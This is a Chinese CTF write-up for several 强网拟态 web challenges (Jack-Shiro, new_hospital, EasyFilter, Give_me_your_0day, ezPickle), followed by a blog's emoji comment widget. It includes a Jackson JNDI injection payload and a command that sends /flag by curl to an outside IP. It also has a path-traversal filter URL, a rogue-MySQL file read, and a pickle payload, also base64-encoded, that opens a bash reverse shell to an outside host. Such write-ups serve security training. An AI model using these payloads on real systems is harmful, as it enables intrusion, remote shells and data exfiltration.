强网拟态web

Jack-Shiro

get /login,返回/json。直接get请求返回remember me。直接shiro绕过验证:/;/json post传[],发现报错。尝试jackson漏洞,post传

[
  "ch.qos.logback.core.db.JNDIConnectionSource",
  {
    "jndiLocation":"rmi://47.96.173.116:2333/asd"
  }
]

然后vps上监听2333发现回显,直接JNDI工具一把嗦
java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "curl http://47.96.173.116:2333 -d @/flag" -A "47.96.173.116"
然后修改上面的rmi为生成的payload即可

zerocalc

直接读/flag文件即可

new_hospital

dirbuster扫一波目录。发现一堆php。在online.php随便填信息之后抓包。发现cookie里面API是1.js的base64。直接修改之后在feature.php报了file_get_contents的错误,但是修改之后还是报错。然后/old里面也有feature.php,直接改API为../flag.php的base64即可读取。

EasyFilter

虽然将文件内容进行base64加密了,但是下面的文件包含利用了php伪协议。这里的filter没有用过滤器,于是尝试了一波convert.bas64-decode/5a23eb1977发现报错。于是怀疑是将/convert.bas64-decode/当成了文件夹,所以加了..就成了。payload:
http://124.70.181.14:32766/?action=r&r=convert.base64-decode/../5a23eb1977

Give_me_your_0day

方法一

安装的时候可以选择mysql的host。然后服务器上开Mysql-Fake-Server。传服务器地址,发现服务器上的Mysql有连接请求。

function _p($adapter) {
    switch ($adapter) {
        case 'Mysql':
            return Typecho_Db_Adapter_Mysql::isAvailable();
        case 'Mysqli':
            return Typecho_Db_Adapter_Mysqli::isAvailable();
        case 'Pdo_Mysql':
            return Typecho_Db_Adapter_Pdo_Mysql::isAvailable();
        case 'SQLite':
            return Typecho_Db_Adapter_SQLite::isAvailable();
        case 'Pdo_SQLite':
            return Typecho_Db_Adapter_Pdo_SQLite::isAvailable();
        case 'Pgsql':
            return Typecho_Db_Adapter_Pgsql::isAvailable();
        case 'Pdo_Pgsql':
            return Typecho_Db_Adapter_Pdo_Pgsql::isAvailable();
        default:
            return false;
    }
}

在install.php上面的源码看到了所有数据库配置。在点击安装的时候,抓包,把Pdo_Mysql修改为Mysqli可以进行任意文件读取,读取/flag即可。

方法二

需要了解pearcmd。巅峰极客和rctf都出过这种题https://blog.rois.io/2021/rctf-2021-official-writeup-2/
https://www.anquanke.com/post/id/218977#h2-3
源码里面可以进行文件包含

function _r($name, $default = NULL) {
    return isset($_REQUEST[$name]) ?
        (is_array($_REQUEST[$name]) ? $default : $_REQUEST[$name]) : $default;
}
$adapter = _r('dbAdapter', $firstAdapter);
                    $parts = explode('_', $adapter);

                    $type = $adapter == 'Mysqli' ? 'Mysql' : array_pop($parts);
<?php require_once './install/' . $type . '.php'; ?>

然后直接照着wp打:


注意不能在vps上不能有php解析器,要不然会先解析再传文件,可以开个python http服务。

ezPickle

下载文件后查看,容易看出name输入点,并有过滤,同时在config文件中提供了backdoor函数。
看到这个

if module in ['config'] and "__" not in name:
            return getattr(sys.modules[module], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)

想到2021巅峰极客的原题,这题是它的其中一部分:),稍微改下脚本打就完了

notadmin = GLOBAL('config', 'notadmin')
notadmin['admin'] = 'yes'
config_backdoor = GLOBAL('config', 'backdoor')
config_backdoor(["__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/139.180.193.16/7777 0>&1'\")"])
return

使用pker生成
base64后payload
Y2NvbmZpZwpub3RhZG1pbgpwMAowZzAKUydhZG1pbicKUyd5ZXMnCnNjY29uZmlnCmJhY2tkb29yCnAyCjBnMgooKFMnX19pbXBvcnRfXyhcJ29zXCcpLnN5c3RlbSgiYmFzaCAtYyBcJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjE4MC4xOTMuMTYvNzc3NyAwPiYxXCciKScKbHRSLg==
name传入,弹shell,cat flag

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇